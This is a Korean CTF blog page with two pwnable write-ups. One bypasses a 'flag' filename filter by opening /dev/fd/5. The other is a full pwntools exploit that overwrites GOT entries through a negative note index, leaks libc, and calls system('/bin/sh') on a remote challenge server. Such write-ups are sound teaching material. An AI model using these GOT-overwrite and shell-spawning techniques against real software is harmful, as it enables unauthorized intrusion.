보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
https://gist.github.com/bincat99/dc40fc894bed1831cd654abfcdc65f55
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <signal.h> void init () { setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0); setvbuf (stderr, 0, 2, 0); } int read_input (char *buf, int len) { int ret; ret = read (0, buf, len); if (ret < 0) { fprintf (stderr, "read error!\n"); exit (1); } if (buf[ret-1] == '\n') buf[ret-1] = '\0'; return ret; } int filter (char * buf) { if (strstr (buf, "flag")) return 1; return 0; } char flag[40] = {0}; char path[100] = {0}; int main () { int fd; init (); fd = open ("./flag", O_RDONLY); read (fd, flag, 40); //close (fd); puts ("give me your path :D"); printf (">> "); read_input (path, 0x40); if (filter (path)) { puts ("Nop :/"); exit (0); } fd = open (path, O_RDONLY); read (fd, path, 40); close (fd); puts (path); } | cs |
어떻게 풀까 고민하던 중 같은 대회의 basic_bf 문제가 도움이 되었다. 해당 문제에서 /dev/urandom 파일을 open 하는 것을 보고 똑같이 /dev에 open할 만한게 있지 않을까 해서 찾아보던 중 fd 폴더를 찾게 되었다.
참고로 각 프로세스는 /proc/[pid] 폴더를 갖게 되는데 /proc/self/를 하면 자신 프로세스의 폴더를 찾을 수 있다.
/dev/fd/ 폴더는 /proc/self/fd의 심볼릭 링크이다.
(참고로. stdin도 /proc/self/stdin과 같이 참조할 수 있다.)
fd는 순차적으로 할당되고 0, 1, 2는 각각 stdin, stdout, stderr로 이미 할당되어있기 때문에 3이 flag 파일의 fd(file descriptor)일 것을 예상할 수 있다.
로컬에서는 /dev/fd/3을 이용해서 풀 수 있었는데, 원격으로 풀 때는 /dev/fd/3으로 풀리지 않았다. 이유를 찾아보니 nc로 원격 접속을 할 경우 3과 4에 해당하는 fd가 이미 존재해서였다. 따라서, /dev/fd/5를 입력하면 flag를 얻을 수 있다.
[backdoorctf17] extend_me (0) | 2017.10.13 |
---|---|
[backdoorctf17] the-wall (0) | 2017.10.13 |
문제 특징
1. GOT 변조
2. libc leak
3. setvbuf
modify 함수에서 index를 음수로하면 라이브러리 함수의 got.plt와 stdin, stdout, stderr 변수의 값을 바꿀 수 있다. (buffer의 주소가 0x6020A0으로 bss 영역에 있기 때문이다.)
여기서 std--- 변수들은 FILE * 자료형으로 라이브러리에 존재하는 FILE 객체를 가르킨다고 한다. 핵심은 포인터 변수라는 것이다!
인자와 함께 got를 조작할 수 있는게 이 부분밖에 없다.
libc-database-master를 이용하여 system과 /bin/sh의 offset을 구한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #-*- coding: utf-8 *- from pwn import * # proc = process('./note') proc = remote('125.131.189.15', 10001) def menu(select) : proc.recvuntil('5.Exit\n') proc.sendline(select) def modify(index, value) : menu('3') proc.recvuntil('modify : \n') proc.sendline(index) proc.recvuntil('Contents : \n') proc.send(value) proc.recvuntil('Note\n') proc.sendline('123') modify('-11', p64(0x400786)) # exit@got.plt -> setvbuf init modify('-13', p64(0x400610)) # setvbuf@got.plt -> puts@plt modify('-4', p64(0x602028)) # stderr pointer -> read@got.plt menu('5') read_got = u64(proc.recvuntil('1.Add')[:6] + "\x00\x00") # libc.so.6 libc_base = read_got - 0xf7220 system_addr = libc_base + 0x45390 sh_addr = libc_base + 0x18cd17 """ # local system_addr = read_got - 0xA77B0 sh_addr = read_got + 0x94779 """ log.info('system_addr : ' + hex(system_addr)) log.info('sh_addr : ' + hex(sh_addr)) modify('-13', p64(system_addr)) # setvbuf@got.plt -> system addr modify('-4', p64(sh_addr)) # stderr pointer -> sh addr menu('5') proc.interactive() | cs |
1. libc leak
setvbuf@got.plt를 puts@plt로 바꾸고 stderr를 read@got.plt로 변경한다.
exit@got.plt를 setvbuf를 호출하는 함수인 0x400786으로 변경하여, libc leak을 한다.
offset을 이용하여 system과 /bin/sh의 주소를 구한다.
2. exploit
setvbuf@got.plt를 system 주소로 바꾸고 stderr를 /bin/sh로 변경하여 쉘을 실행시킨다.
[backdoorctf17] baby-0x41414141 (0) | 2017.10.13 |
---|---|
[CSAW 2017] scv (0) | 2017.09.20 |
[포너블] level1 (7) | 2017.03.11 |
[Codegate 2016] watermelon (3) | 2017.02.23 |
[Linux] %?$p 와 64bit 프로그램 매개변수 순서 (0) | 2017.02.21 |